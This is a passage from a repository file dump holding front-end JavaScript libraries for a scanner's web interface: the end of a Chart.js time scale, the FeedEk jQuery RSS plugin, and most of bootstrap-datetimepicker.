Math.cos(angle);\n\t\t\tvar sinRotation = Math.sin(angle);\n\t\t\tvar tickFontSize = helpers.valueOrDefault(ticksOpts.fontSize, defaults.global.defaultFontSize);\n\n\t\t\treturn (tickLabelWidth * cosRotation) + (tickFontSize * sinRotation);\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tgetLabelCapacity: function(exampleTime) {\n\t\t\tvar me = this;\n\n\t\t\tvar formatOverride = me.options.time.displayFormats.millisecond;\t// Pick the longest format for guestimation\n\n\t\t\tvar exampleLabel = me.tickFormatFunction(moment(exampleTime), 0, [], formatOverride);\n\t\t\tvar tickLabelWidth = me.getLabelWidth(exampleLabel);\n\t\t\tvar innerWidth = me.isHorizontal() ? me.width : me.height;\n\n\t\t\tvar capacity = Math.floor(innerWidth / tickLabelWidth);\n\t\t\treturn capacity > 0 ? capacity : 1;\n\t\t}\n\t});\n\n\tChart.scaleService.registerScaleType('time', TimeScale, defaultConfig);\n};\n\n},{\"1\":1,\"25\":25,\"45\":45}]},{},[7])(7)\n});"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/plugins/FeedEk.js",
    "content": "/*\n* FeedEk jQuery RSS/ATOM Feed Plugin v3.0 with YQL API\n* http://jquery-plugins.net/FeedEk/FeedEk.html  https://github.com/enginkizil/FeedEk\n* Author : Engin KIZIL http://www.enginkizil.com   \n*/\n\n(function ($) {\n    $.fn.FeedEk = function (opt) {\n        var def = $.extend({\n            MaxCount: 5,\n            ShowDesc: true,\n            ShowPubDate: true,\n            DescCharacterLimit: 0,\n            TitleLinkTarget: \"_blank\",\n            DateFormat: \"\",\n            DateFormatLang:\"en\"\n        }, opt);\n\n        var id = $(this).attr(\"id\"), i, s = \"\", dt;\n        $(\"#\" + id).empty();\n        if (def.FeedUrl == undefined) return;\n\n\n        var YQLstr = 'SELECT channel.item FROM feednormalizer WHERE output=\"rss_2.0\" AND url =\"' + def.FeedUrl + '\" LIMIT ' + def.MaxCount;\n\n        $.ajax({\n            url: \"https://query.yahooapis.com/v1/public/yql?q=\" + encodeURIComponent(YQLstr) + \"&format=json&diagnostics=false&callback=?\",\n            dataType: \"json\",\n            success: function (data) {\n                $(\"#\" + id).empty();\n                if (!(data.query.results.rss instanceof Array)) {\n                    data.query.results.rss = [data.query.results.rss];\n                }\n                $.each(data.query.results.rss, function (e, itm) {\n                    s += '<li class=\"light-green\"><div style=\"line-height:25px\"><a href=\"' + itm.channel.item.link + '\" target=\"' + def.TitleLinkTarget + '\" >' + itm.channel.item.title + '</a></div>';\n\n                    if (def.ShowPubDate){\n                        dt = new Date(itm.channel.item.pubDate);\n                        s += '<div>';\n                        if ($.trim(def.DateFormat).length > 0) {\n                            try {\n                                moment.lang(def.DateFormatLang);\n                                s += moment(dt).format(def.DateFormat);\n                            }\n                            catch (e){s += dt.toLocaleDateString();}                            \n                        }\n                        else {\n                            s += dt.toLocaleDateString();\n                        }\n                        s += '</div>';\n                    }\n                    if (def.ShowDesc) {\n                        s += '<div>';\n                         if (def.DescCharacterLimit > 0 && itm.channel.item.description.length > def.DescCharacterLimit) {\n                            s += itm.channel.item.description.substring(0, def.DescCharacterLimit) + '...';\n                        }\n                        else {\n                            s += itm.channel.item.description;\n                         }\n                         s += '</div>';\n                    }\n                });\n                $(\"#\" + id).append('<ul>' + s + '</ul>');\n            }\n        });\n    };\n})(jQuery);"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/plugins/bootstrap-datetimepicker.js",
    "content": "﻿/* =========================================================\n * bootstrap-datetimepicker.js\n * =========================================================\n * Copyright 2012 Stefan Petre\n *\n * Improvements by Andrew Rowls\n * Improvements by Sébastien Malot\n * Improvements by Yun Lai\n * Improvements by Kenneth Henderick\n * Improvements by CuGBabyBeaR\n * Improvements by Christian Vaas <auspex@auspex.eu>\n *\n * Project URL : http://www.malot.fr/bootstrap-datetimepicker\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * ========================================================= */\n\n(function(factory){\n    if (typeof define === 'function' && define.amd)\n      define(['jquery'], factory);\n    else if (typeof exports === 'object')\n      factory(require('jquery'));\n    else\n      factory(jQuery);\n\n}(function($, undefined){\n\n  // Add ECMA262-5 Array methods if not supported natively (IE8)\n  if (!('indexOf' in Array.prototype)) {\n    Array.prototype.indexOf = function (find, i) {\n      if (i === undefined) i = 0;\n      if (i < 0) i += this.length;\n      if (i < 0) i = 0;\n      for (var n = this.length; i < n; i++) {\n        if (i in this && this[i] === find) {\n          return i;\n        }\n      }\n      return -1;\n    }\n  }\n\n  // Add timezone abbreviation support for ie6+, Chrome, Firefox\n  function timeZoneAbbreviation() {\n    var abbreviation, date, formattedStr, i, len, matchedStrings, ref, str;\n    date = (new Date()).toString();\n    formattedStr = ((ref = date.split('(')[1]) != null ? ref.slice(0, -1) : 0) || date.split(' ');\n    if (formattedStr instanceof Array) {\n      matchedStrings = [];\n      for (var i = 0, len = formattedStr.length; i < len; i++) {\n        str = formattedStr[i];\n        if ((abbreviation = (ref = str.match(/\\b[A-Z]+\\b/)) !== null) ? ref[0] : 0) {\n          matchedStrings.push(abbreviation);\n        }\n      }\n      formattedStr = matchedStrings.pop();\n    }\n    return formattedStr;\n  }\n\n  function UTCDate() {\n    return new Date(Date.UTC.apply(Date, arguments));\n  }\n\n  // Picker object\n  var Datetimepicker = function (element, options) {\n    var that = this;\n\n    this.element = $(element);\n\n    // add container for single page application\n    // when page switch the datetimepicker div will be removed also.\n    this.container = options.container || 'body';\n\n    this.language = options.language || this.element.data('date-language') || 'en';\n    this.language = this.language in dates ? this.language : this.language.split('-')[0]; // fr-CA fallback to fr\n    this.language = this.language in dates ? this.language : 'en';\n    this.isRTL = dates[this.language].rtl || false;\n    this.formatType = options.formatType || this.element.data('format-type') || 'standard';\n    this.format = DPGlobal.parseFormat(options.format || this.element.data('date-format') || dates[this.language].format || DPGlobal.getDefaultFormat(this.formatType, 'input'), this.formatType);\n    this.isInline = false;\n    this.isVisible = false;\n    this.isInput = this.element.is('input');\n    this.fontAwesome = options.fontAwesome || this.element.data('font-awesome') || false;\n\n    this.bootcssVer = options.bootcssVer || (this.isInput ? (this.element.is('.form-control') ? 3 : 2) : ( this.bootcssVer = this.element.is('.input-group') ? 3 : 2 ));\n\n    this.component = this.element.is('.date') ? ( this.bootcssVer === 3 ? this.element.find('.input-group-addon .glyphicon-th, .input-group-addon .glyphicon-time, .input-group-addon .glyphicon-remove, .input-group-addon .glyphicon-calendar, .input-group-addon .fa-calendar, .input-group-addon .fa-clock-o').parent() : this.element.find('.add-on .icon-th, .add-on .icon-time, .add-on .icon-calendar, .add-on .fa-calendar, .add-on .fa-clock-o').parent()) : false;\n    this.componentReset = this.element.is('.date') ? ( this.bootcssVer === 3 ? this.element.find('.input-group-addon .glyphicon-remove, .input-group-addon .fa-times').parent():this.element.find('.add-on .icon-remove, .add-on .fa-times').parent()) : false;\n    this.hasInput = this.component && this.element.find('input').length;\n    if (this.component && this.component.length === 0) {\n      this.component = false;\n    }\n    this.linkField = options.linkField || this.element.data('link-field') || false;\n    this.linkFormat = DPGlobal.parseFormat(options.linkFormat || this.element.data('link-format') || DPGlobal.getDefaultFormat(this.formatType, 'link'), this.formatType);\n    this.minuteStep = options.minuteStep || this.element.data('minute-step') || 5;\n    this.pickerPosition = options.pickerPosition || this.element.data('picker-position') || 'bottom-right';\n    this.showMeridian = options.showMeridian || this.element.data('show-meridian') || false;\n    this.initialDate = options.initialDate || new Date();\n    this.zIndex = options.zIndex || this.element.data('z-index') || undefined;\n    this.title = typeof options.title === 'undefined' ? false : options.title;\n    this.timezone = options.timezone || timeZoneAbbreviation();\n\n    this.icons = {\n      leftArrow: this.fontAwesome ? 'fa-arrow-left' : (this.bootcssVer === 3 ? 'glyphicon-arrow-left' : 'icon-arrow-left'),\n      rightArrow: this.fontAwesome ? 'fa-arrow-right' : (this.bootcssVer === 3 ? 'glyphicon-arrow-right' : 'icon-arrow-right')\n    }\n    this.icontype = this.fontAwesome ? 'fa' : 'glyphicon';\n\n    this._attachEvents();\n\n    this.clickedOutside = function (e) {\n        // Clicked outside the datetimepicker, hide it\n        if ($(e.target).closest('.datetimepicker').length === 0) {\n            that.hide();\n        }\n    }\n\n    this.formatViewType = 'datetime';\n    if ('formatViewType' in options) {\n      this.formatViewType = options.formatViewType;\n    } else if ('formatViewType' in this.element.data()) {\n      this.formatViewType = this.element.data('formatViewType');\n    }\n\n    this.minView = 0;\n    if ('minView' in options) {\n      this.minView = options.minView;\n    } else if ('minView' in this.element.data()) {\n      this.minView = this.element.data('min-view');\n    }\n    this.minView = DPGlobal.convertViewMode(this.minView);\n\n    this.maxView = DPGlobal.modes.length - 1;\n    if ('maxView' in options) {\n      this.maxView = options.maxView;\n    } else if ('maxView' in this.element.data()) {\n      this.maxView = this.element.data('max-view');\n    }\n    this.maxView = DPGlobal.convertViewMode(this.maxView);\n\n    this.wheelViewModeNavigation = false;\n    if ('wheelViewModeNavigation' in options) {\n      this.wheelViewModeNavigation = options.wheelViewModeNavigation;\n    } else if ('wheelViewModeNavigation' in this.element.data()) {\n      this.wheelViewModeNavigation = this.element.data('view-mode-wheel-navigation');\n    }\n\n    this.wheelViewModeNavigationInverseDirection = false;\n\n    if ('wheelViewModeNavigationInverseDirection' in options) {\n      this.wheelViewModeNavigationInverseDirection = options.wheelViewModeNavigationInverseDirection;\n    } else if ('wheelViewModeNavigationInverseDirection' in this.element.data()) {\n      this.wheelViewModeNavigationInverseDirection = this.element.data('view-mode-wheel-navigation-inverse-dir');\n    }\n\n    this.wheelViewModeNavigationDelay = 100;\n    if ('wheelViewModeNavigationDelay' in options) {\n      this.wheelViewModeNavigationDelay = options.wheelViewModeNavigationDelay;\n    } else if ('wheelViewModeNavigationDelay' in this.element.data()) {\n      this.wheelViewModeNavigationDelay = this.element.data('view-mode-wheel-navigation-delay');\n    }\n\n    this.startViewMode = 2;\n    if ('startView' in options) {\n      this.startViewMode = options.startView;\n    } else if ('startView' in this.element.data()) {\n      this.startViewMode = this.element.data('start-view');\n    }\n    this.startViewMode = DPGlobal.convertViewMode(this.startViewMode);\n    this.viewMode = this.startViewMode;\n\n    this.viewSelect = this.minView;\n    if ('viewSelect' in options) {\n      this.viewSelect = options.viewSelect;\n    } else if ('viewSelect' in this.element.data()) {\n      this.viewSelect = this.element.data('view-select');\n    }\n    this.viewSelect = DPGlobal.convertViewMode(this.viewSelect);\n\n    this.forceParse = true;\n    if ('forceParse' in options) {\n      this.forceParse = options.forceParse;\n    } else if ('dateForceParse' in this.element.data()) {\n      this.forceParse = this.element.data('date-force-parse');\n    }\n    var template = this.bootcssVer === 3 ? DPGlobal.templateV3 : DPGlobal.template;\n    while (template.indexOf('{iconType}') !== -1) {\n      template = template.replace('{iconType}', this.icontype);\n    }\n    while (template.indexOf('{leftArrow}') !== -1) {\n      template = template.replace('{leftArrow}', this.icons.leftArrow);\n    }\n    while (template.indexOf('{rightArrow}') !== -1) {\n      template = template.replace('{rightArrow}', this.icons.rightArrow);\n    }\n    this.picker = $(template)\n      .appendTo(this.isInline ? this.element : this.container) // 'body')\n      .on({\n        click:     $.proxy(this.click, this),\n        mousedown: $.proxy(this.mousedown, this)\n      });\n\n    if (this.wheelViewModeNavigation) {\n      if ($.fn.mousewheel) {\n        this.picker.on({mousewheel: $.proxy(this.mousewheel, this)});\n      } else {\n        console.log('Mouse Wheel event is not supported. Please include the jQuery Mouse Wheel plugin before enabling this option');\n      }\n    }\n\n    if (this.isInline) {\n      this.picker.addClass('datetimepicker-inline');\n    } else {\n      this.picker.addClass('datetimepicker-dropdown-' + this.pickerPosition + ' dropdown-menu');\n    }\n    if (this.isRTL) {\n      this.picker.addClass('datetimepicker-rtl');\n      var selector = this.bootcssVer === 3 ? '.prev span, .next span' : '.prev i, .next i';\n      this.picker.find(selector).toggleClass(this.icons.leftArrow + ' ' + this.icons.rightArrow);\n    }\n\n    $(document).on('mousedown touchend', this.clickedOutside);\n\n    this.autoclose = false;\n    if ('autoclose' in options) {\n      this.autoclose = options.autoclose;\n    } else if ('dateAutoclose' in this.element.data()) {\n      this.autoclose = this.element.data('date-autoclose');\n    }\n\n    this.keyboardNavigation = true;\n    if ('keyboardNavigation' in options) {\n      this.keyboardNavigation = options.keyboardNavigation;\n    } else if ('dateKeyboardNavigation' in this.element.data()) {\n      this.keyboardNavigation = this.element.data('date-keyboard-navigation');\n    }\n\n    this.todayBtn = (options.todayBtn || this.element.data('date-today-btn') || false);\n    this.clearBtn = (options.clearBtn || this.element.data('date-clear-btn') || false);\n    this.todayHighlight = (options.todayHighlight || this.element.data('date-today-highlight') || false);\n\n    this.weekStart = 0;\n    if (typeof options.weekStart !== 'undefined') {\n      this.weekStart = options.weekStart;\n    } else if (typeof this.element.data('date-weekstart') !== 'undefined') {\n      this.weekStart = this.element.data('date-weekstart');\n    } else if (typeof dates[this.language].weekStart !== 'undefined') {\n      this.weekStart = dates[this.language].weekStart;\n    }\n    this.weekStart = this.weekStart % 7;\n    this.weekEnd = ((this.weekStart + 6) % 7);\n    this.onRenderDay = function (date) {\n      var render = (options.onRenderDay || function () { return []; })(date);\n      if (typeof render === 'string') {\n        render = [render];\n      }\n      var res = ['day'];\n      return res.concat((render ? render : []));\n    };\n    this.onRenderHour = function (date) {\n      var render = (options.onRenderHour || function () { return []; })(date);\n      var res = ['hour'];\n      if (typeof render === 'string') {\n        render = [render];\n      }\n      return res.concat((render ? render : []));\n    };\n    this.onRenderMinute = function (date) {\n      var render = (options.onRenderMinute || function () { return []; })(date);\n      var res = ['minute'];\n      if (typeof render === 'string') {\n        render = [render];\n      }\n      if (date < this.startDate || date > this.endDate) {\n        res.push('disabled');\n      } else if (Math.floor(this.date.getUTCMinutes() / this.minuteStep) === Math.floor(date.getUTCMinutes() / this.minuteStep)) {\n        res.push('active');\n      }\n      return res.concat((render ? render : []));\n    };\n    this.onRenderYear = function (date) {\n      var render = (options.onRenderYear || function () { return []; })(date);\n      var res = ['year'];\n      if (typeof render === 'string') {\n        render = [render];\n      }\n      if (this.date.getUTCFullYear() === date.getUTCFullYear()) {\n        res.push('active');\n      }\n      var currentYear = date.getUTCFullYear();\n      var endYear = this.endDate.getUTCFullYear();\n      if (date < this.startDate || currentYear > endYear) {\n        res.push('disabled');\n      }\n      return res.concat((render ? render : []));\n    }\n    this.onRenderMonth = function (date) {\n      var render = (options.onRenderMonth || function () { return []; })(date);\n      var res = ['month'];\n      if (typeof render === 'string') {\n        render = [render];\n      }\n      return res.concat((render ? render : []));\n    }\n    this.startDate = new Date(-8639968443048000);\n    this.endDate = new Date(8639968443048000);\n    this.datesDisabled = [];\n    this.daysOfWeekDisabled = [];\n    this.setStartDate(options.startDate || this.element.data('date-startdate'));\n    this.setEndDate(options.endDate || this.element.data('date-enddate'));\n    this.setDatesDisabled(options.datesDisabled || this.element.data('date-dates-disabled'));\n    this.setDaysOfWeekDisabled(options.daysOfWeekDisabled || this.element.data('date-days-of-week-disabled'));\n    this.setMinutesDisabled(options.minutesDisabled || this.element.data('date-minute-disabled'));\n    this.setHoursDisabled(options.hoursDisabled || this.element.data('date-hour-disabled'));\n    this.fillDow();\n    this.fillMonths();\n    this.update();\n    this.showMode();\n\n    if (this.isInline) {\n      this.show();\n    }\n  };\n\n  Datetimepicker.prototype = {\n    constructor: Datetimepicker,\n\n    _events:       [],\n    _attachEvents: function () {\n      this._detachEvents();\n      if (this.isInput) { // single input\n        this._events = [\n          [this.element, {\n            focus:   $.proxy(this.show, this),\n            keyup:   $.proxy(this.update, this),\n            keydown: $.proxy(this.keydown, this)\n          }]\n        ];\n      }\n      else if (this.component && this.hasInput) { // component: input + button\n        this._events = [\n          // For components that are not readonly, allow keyboard nav\n          [this.element.find('input'), {\n            focus:   $.proxy(this.show, this),\n            keyup:   $.proxy(this.update, this),\n            keydown: $.proxy(this.keydown, this)\n          }],\n          [this.component, {\n            click: $.proxy(this.show, this)\n          }]\n        ];\n        if (this.componentReset) {\n          this._events.push([\n            this.componentReset,\n            {click: $.proxy(this.reset, this)}\n          ]);\n        }\n      }\n      else if (this.element.is('div')) {  // inline datetimepicker\n        this.isInline = true;\n      }\n      else {\n        this._events = [\n          [this.element, {\n            click: $.proxy(this.show, this)\n          }]\n        ];\n      }\n      for (var i = 0, el, ev; i < this._events.length; i++) {\n        el = this._events[i][0];\n        ev = this._events[i][1];\n        el.on(ev);\n      }\n    },\n\n    _detachEvents: function () {\n      for (var i = 0, el, ev; i < this._events.length; i++) {\n        el = this._events[i][0];\n        ev = this._events[i][1];\n        el.off(ev);\n      }\n      this._events = [];\n    },\n\n    show: function (e) {\n      this.picker.show();\n      this.height = this.component ? this.component.outerHeight() : this.element.outerHeight();\n      if (this.forceParse) {\n        this.update();\n      }\n      this.place();\n      $(window).on('resize', $.proxy(this.place, this));\n      if (e) {\n        e.stopPropagation();\n        e.preventDefault();\n      }\n      this.isVisible = true;\n      this.element.trigger({\n        type: 'show',\n        date: this.date\n      });\n    },\n\n    hide: function () {\n      if (!this.isVisible) return;\n      if (this.isInline) return;\n      this.picker.hide();\n      $(window).off('resize', this.place);\n      this.viewMode = this.startViewMode;\n      this.showMode();\n      if (!this.isInput) {\n        $(document).off('mousedown', this.hide);\n      }\n\n      if (\n        this.forceParse &&\n          (\n            this.isInput && this.element.val() ||\n              this.hasInput && this.element.find('input').val()\n            )\n        )\n        this.setValue();\n      this.isVisible = false;\n      this.element.trigger({\n        type: 'hide',\n        date: this.date\n      });\n    },\n\n    remove: function () {\n      this._detachEvents();\n      $(document).off('mousedown', this.clickedOutside);\n      this.picker.remove();\n      delete this.picker;\n      delete this.element.data().datetimepicker;\n    },\n\n    getDate: function () {\n      var d = this.getUTCDate();\n      if (d === null) {\n        return null;\n      }\n      return new Date(d.getTime() + (d.getTimezoneOffset() * 60000));\n    },\n\n    getUTCDate: function () {\n      return this.date;\n    },\n\n    getInitialDate: function () {\n      return this.initialDate\n    },\n\n    setInitialDate: function (initialDate) {\n      this.initialDate = initialDate;\n    },\n\n    setDate: function (d) {\n      this.setUTCDate(new Date(d.getTime() - (d.getTimezoneOffset() * 60000)));\n    },\n\n    setUTCDate: function (d) {\n      if (d >= this.startDate && d <= this.endDate) {\n        this.date = d;\n        this.setValue();\n        this.viewDate = this.date;\n        this.fill();\n      } else {\n        this.element.trigger({\n          type:      'outOfRange',\n          date:      d,\n          startDate: this.startDate,\n          endDate:   this.endDate\n        });\n      }\n    },\n\n    setFormat: function (format) {\n      this.format = DPGlobal.parseFormat(format, this.formatType);\n      var element;\n      if (this.isInput) {\n        element = this.element;\n      } else if (this.component) {\n        element = this.element.find('input');\n      }\n      if (element && element.val()) {\n        this.setValue();\n      }\n    },\n\n    setValue: function () {\n      var formatted = this.getFormattedDate();\n      if (!this.isInput) {\n        if (this.component) {\n          this.element.find('input').val(formatted);\n        }\n        this.element.data('date', formatted);\n      } else {\n        this.element.val(formatted);\n      }\n      if (this.linkField) {\n        $('#' + this.linkField).val(this.getFormattedDate(this.linkFormat));\n      }\n    },\n\n    getFormattedDate: function (format) {\n      format = format || this.format;\n      return DPGlobal.formatDate(this.date, format, this.language, this.formatType, this.timezone);\n    },\n\n    setStartDate: function (startDate) {\n      this.startDate = startDate || this.startDate;\n      if (this.startDate.valueOf() !== 8639968443048000) {\n        this.startDate = DPGlobal.parseDate(this.startDate, this.format, this.language, this.formatType, this.timezone);\n      }\n      this.update();\n      this.updateNavArrows();\n    },\n\n    setEndDate: function (endDate) {\n      this.endDate = endDate || this.endDate;\n      if (this.endDate.valueOf() !== 8639968443048000) {\n        this.endDate = DPGlobal.parseDate(this.endDate, this.format, this.language, this.formatType, this.timezone);\n      }\n      this.update();\n      this.updateNavArrows();\n    },\n\n    setDatesDisabled: function (datesDisabled) {\n      this.datesDisabled = datesDisabled || [];\n      if (!$.isArray(this.datesDisabled)) {\n        this.datesDisabled = this.datesDisabled.split(/,\\s*/);\n      }\n      var mThis = this;\n      this.datesDisabled = $.map(this.datesDisabled, function (d) {\n        return DPGlobal.parseDate(d, mThis.format, mThis.language, mThis.formatType, mThis.timezone).toDateString();\n      });\n      this.update();\n      this.updateNavArrows();\n    },\n\n    setTitle: function (selector, value) {\n      return this.picker.find(selector)\n        .find('th:eq(1)')\n        .text(this.title === false ? value : this.title);\n    },\n\n    setDaysOfWeekDisabled: function (daysOfWeekDisabled) {\n      this.daysOfWeekDisabled = daysOfWeekDisabled || [];\n      if (!$.isArray(this.daysOfWeekDisabled)) {\n        this.daysOfWeekDisabled = this.daysOfWeekDisabled.split(/,\\s*/);\n      }\n      this.daysOfWeekDisabled = $.map(this.daysOfWeekDisabled, function (d) {\n        return parseInt(d, 10);\n      });\n      this.update();\n      this.updateNavArrows();\n    },\n\n    setMinutesDisabled: function (minutesDisabled) {\n      this.minutesDisabled = minutesDisabled || [];\n      if (!$.isArray(this.minutesDisabled)) {\n        this.minutesDisabled = this.minutesDisabled.split(/,\\s*/);\n      }\n      this.minutesDisabled = $.map(this.minutesDisabled, function (d) {\n        return parseInt(d, 10);\n      });\n      this.update();\n      this.updateNavArrows();\n    },\n\n    setHoursDisabled: function (hoursDisabled) {\n      this.hoursDisabled = hoursDisabled || [];\n      if (!$.isArray(this.hoursDisabled)) {\n        this.hoursDisabled = this.hoursDisabled.split(/,\\s*/);\n      }\n      this.hoursDisabled = $.map(this.hoursDisabled, function (d) {\n        return parseInt(d, 10);\n      });\n      this.update();\n      this.updateNavArrows();\n    },\n\n    place: function () {\n      if (this.isInline) return;\n\n      if (!this.zIndex) {\n        var index_highest = 0;\n        $('div').each(function () {\n          var index_current = parseInt($(this).css('zIndex'), 10);\n          if (index_current > index_highest) {\n            index_highest = index_current;\n          }\n        });\n        this.zIndex = index_highest + 10;\n      }\n\n      var offset, top, left, containerOffset;\n      if (this.container instanceof $) {\n        containerOffset = this.container.offset();\n      } else {\n        containerOffset = $(this.container).offset();\n      }\n\n      if (this.component) {\n        offset = this.component.offset();\n        left = offset.left;\n        if (this.pickerPosition === 'bottom-left' || this.pickerPosition === 'top-left') {\n          left += this.component.outerWidth() - this.picker.outerWidth();\n        }\n      } else {\n        offset = this.element.offset();\n        left = offset.left;\n        if (this.pickerPosition === 'bottom-left' || this.pickerPosition === 'top-left') {\n          left += this.element.outerWidth() - this.picker.outerWidth();\n        }\n      }\n\n      var bodyWidth = document.body.clientWidth || window.innerWidth;\n      if (left + 220 > bodyWidth) {\n        left = bodyWidth - 220;\n      }\n\n      if (this.pickerPosition === 'top-left' || this.pickerPosition === 'top-right') {\n        top = offset.top - this.picker.outerHeight();\n      } else {\n        top = offset.top + this.height;\n      }\n\n      top = top - containerOffset.top;\n      left = left - containerOffset.left;\n\n      this.picker.css({\n        top:    top,\n        left:   left,\n        zIndex: this.zIndex\n      });\n    },\n\n    hour_minute: \"^([0-9]|0[0-9]|1[0-9]|2[0-3]):[0-5][0-9]\",\n\n    update: function () {\n      var date, fromArgs = false;\n      if (arguments && arguments.length && (typeof arguments[0] === 'string' || arguments[0] instanceof Date)) {\n        date = arguments[0];\n        fromArgs = true;\n      } else {\n        date = (this.isInput ? this.element.val() : this.element.find('input').val()) || this.element.data('date') || this.initialDate;\n        if (typeof date === 'string') {\n          date = date.replace(/^\\s+|\\s+$/g,'');\n        }\n      }\n\n      if (!date) {\n        date = new Date();\n        fromArgs = false;\n      }\n\n      if (typeof date === \"string\") {\n        if (new RegExp(this.hour_minute).test(date) || new RegExp(this.hour_minute + \":[0-5][0-9]\").test(date)) {\n          date = this.getDate()\n        }\n      }\n\n      this.date = DPGlobal.parseDate(date, this.format, this.language, this.formatType, this.timezone);\n\n      if (fromArgs) this.setValue();\n\n      if (this.date < this.startDate) {\n        this.viewDate = new Date(this.startDate);\n      } else if (this.date > this.endDate) {\n        this.viewDate = new Date(this.endDate);\n      } else {\n        this.viewDate = new Date(this.date);\n      }\n      this.fill();\n    },\n\n    fillDow: function () {\n      var dowCnt = this.weekStart,\n        html = '<tr>';\n      while (dowCnt < this.weekStart + 7) {\n        html += '<th class=\"dow\">' + dates[this.language].daysMin[(dowCnt++) % 7] + '</th>';\n      }\n      html += '</tr>';\n      this.picker.find('.datetimepicker-days thead').append(html);\n    },\n\n    fillMonths: function () {\n      var html = '';\n      var d = new Date(this.viewDate);\n      for (var i = 0; i < 12; i++) {\n        d.setUTCMonth(i);\n        var classes = this.onRenderMonth(d);\n        html += '<span class=\"' + classes.join(' ') + '\">' + dates[this.language].monthsShort[i] + '</span>';\n      }\n      this.picker.find('.datetimepicker-months td').html(html);\n    },\n\n    fill: function () {\n      if (!this.date || !this.viewDate) {\n        return;\n      }\n      var d = new Date(this.viewDate),\n        year = d.getUTCFullYear(),\n        month = d.getUTCMonth(),\n        dayMonth = d.getUTCDate(),\n        hours = d.getUTCHours(),\n        startYear = this.startDate.getUTCFullYear(),\n        startMonth = this.startDate.getUTCMonth(),\n        endYear = this.endDate.getUTCFullYear(),\n        endMonth = this.endDate.getUTCMonth() + 1,\n        currentDate = (new UTCDate(this.date.getUTCFullYear(), this.date.getUTCMonth(), this.date.getUTCDate())).valueOf(),\n        today = new Date();\n      this.setTitle('.datetimepicker-days', dates[this.language].months[month] + ' ' + year)\n      if (this.formatViewType === 'time') {\n        var formatted = this.getFormattedDate();\n        this.setTitle('.datetimepicker-hours', formatted);\n        this.setTitle('.datetimepicker-minutes', formatted);\n      } else {\n        this.setTitle('.datetimepicker-hours', dayMonth + ' ' + dates[this.language].months[month] + ' ' + year);\n        this.setTitle('.datetimepicker-minutes', dayMonth + ' ' + dates[this.language].months[month] + ' ' + year);\n      }\n      this.picker.find('tfoot th.today')\n        .text(dates[this.language].today || dates['en'].today)\n        .toggle(this.todayBtn !== false);\n      this.picker.find('tfoot th.clear')\n        .text(dates[this.language].clear || dates['en'].clear)\n        .toggle(this.clearBtn !== false);\n      this.updateNavArrows();\n      this.fillMonths();\n      var prevMonth = UTCDate(year, month - 1, 28, 0, 0, 0, 0),\n        day = DPGlobal.getDaysInMonth(prevMonth.getUTCFullYear(), prevMonth.getUTCMonth());\n      prevMonth.setUTCDate(day);\n      prevMonth.setUTCDate(day - (prevMonth.getUTCDay() - this.weekStart + 7) % 7);\n      var nextMonth = new Date(prevMonth);\n      nextMonth.setUTCDate(nextMonth.getUTCDate() + 42);\n      nextMonth = nextMonth.valueOf();\n      var html = [];\n      var classes;\n      while (prevMonth.valueOf() < nextMonth) {\n        if (prevMonth.getUTCDay() === this.weekStart) {\n          html.push('<tr>');\n        }\n        classes = this.onRenderDay(prevMonth);\n        if (prevMonth.getUTCFullYear() < year || (prevMonth.getUTCFullYear() === year && prevMonth.getUTCMonth() < month)) {\n          classes.push('old');\n        } else if (prevMonth.getUTCFullYear() > year || (prevMonth.getUTCFullYear() === year && prevMonth.getUTCMonth() > month)) {\n          classes.push('new');\n        }\n        // Compare internal UTC date with local today, not UTC today\n        if (this.todayHighlight &&\n          prevMonth.getUTCFullYear() === today.getFullYear() &&\n          prevMonth.getUTCMonth() === today.getMonth() &&\n          prevMonth.getUTCDate() === today.getDate()) {\n          classes.push('today');\n        }\n        if (prevMonth.valueOf() === currentDate) {\n          classes.push('active');\n        }\n        if ((prevMonth.valueOf() + 86400000) <= this.startDate || prevMonth.valueOf() > this.endDate ||\n          $.inArray(prevMonth.getUTCDay(), this.daysOfWeekDisabled) !== -1 ||\n          $.inArray(prevMonth.toDateString(), this.datesDisabled) !== -1) {\n          classes.push('disabled');\n        }\n        html.push('<td class=\"' + classes.join(' ') + '\">' + prevMonth.getUTCDate() + '</td>');\n        if (prevMonth.getUTCDay() === this.weekEnd) {\n          html.push('</tr>');\n        }\n        prevMonth.setUTCDate(prevMonth.getUTCDate() + 1);\n      }\n      this.picker.find('.datetimepicker-days tbody').empty().append(html.join(''));\n\n      html = [];\n      var txt = '', meridian = '', meridianOld = '';\n      var hoursDisabled = this.hoursDisabled || [];\n      d = new Date(this.viewDate)\n      for (var i = 0; i < 24; i++) {\n        d.setUTCHours(i);\n        classes = this.onRenderHour(d);\n        if (hoursDisabled.indexOf(i) !== -1) {\n          classes.push('disabled');\n        }\n        var actual = UTCDate(year, month, dayMonth, i);\n        // We want the previous hour for the startDate\n        if ((actual.valueOf() + 3600000) <= this.startDate || actual.valueOf() > this.endDate) {\n          classes.push('disabled');\n        } else if (hours === i) {\n          classes.push('active');\n        }\n        if (this.showMeridian && dates[this.language].meridiem.length === 2) {\n          meridian = (i < 12 ? dates[this.language].meridiem[0] : dates[this.language].meridiem[1]);\n          if (meridian !== meridianOld) {\n            if (meridianOld !== '') {\n              html.push('</fieldset>');\n            }\n            html.push('<fieldset class=\"hour\"><legend>' + meridian.toUpperCase() + '</legend>');\n          }\n          meridianOld = meridian;\n          txt = (i % 12 ? i % 12 : 12);\n          if (i < 12) {\n            classes.push('hour_am');\n          } else {\n            classes.push('hour_pm');\n          }\n          html.push('<span class=\"' + classes.join(' ') + '\">' + txt + '</span>');\n          if (i === 23) {\n            html.push('</fieldset>');\n          }\n        } else {\n          txt = i + ':00';\n          html.push('<span class=\"' + classes.join(' ') + '\">' + txt + '</span>');\n        }\n      }\n      this.picker.find('.datetimepicker-hours td').html(html.join(''));\n\n      html = [];\n      txt = '';\n      meridian = '';\n      meridianOld = '';\n      var minutesDisabled = this.minutesDisabled || [];\n      d = new Date(this.viewDate);\n      for 